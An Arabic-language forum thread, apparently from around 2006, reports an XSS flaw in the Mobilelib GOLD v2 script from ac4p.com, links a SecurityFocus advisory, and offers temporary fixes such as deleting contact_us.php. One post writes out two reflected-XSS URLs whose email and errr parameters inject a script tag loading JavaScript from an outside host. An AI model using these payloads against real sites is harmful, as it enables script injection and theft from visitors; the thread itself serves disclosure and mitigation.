عاجل ::: ثغرة في مكتبة الجوال الاصدار الاخير من ac4p.com

[palover]

السلام عليكم ورحمة الله وبركاته

ثغرة جديده في سكربت مكتبة الجوال ac4p.com Mobilelib GOLD GOLD v2

هذا رابط الثغرة في موقع السيكورتي
XSS in script Mobilelib GOLD v2 Dec 28 2006 11:44PM
http://www.securityfocus.com/archive/1/455483

:anger2:

[MtRp]

الثغرة فى

http://[target]/[path]/contact_us.php?email=%20%22%3E%3Cscript%20src%3Dh
ttp%3A//www.xxxx.com/swt.js%3E%3C/script%3E #

و

http://[target]/[path]/contact_us.php?errr=%20%22%3E%3Cscript%20src%3Dht
tp%3A//www.xxxx.com/swt.js%3E%3C/script%3E #


الحل المؤقت

امسح ملف contact_us.php او حط له جدار نار

[jadweb.com]

الحل هنا

http://www.swalif.net/softs/showthre...14#post1327614

[palover]

بارك الله فيكم وجزاكم الله خير

^
^
^
^
^
^
^

[jadweb.com]

الجميع اخوي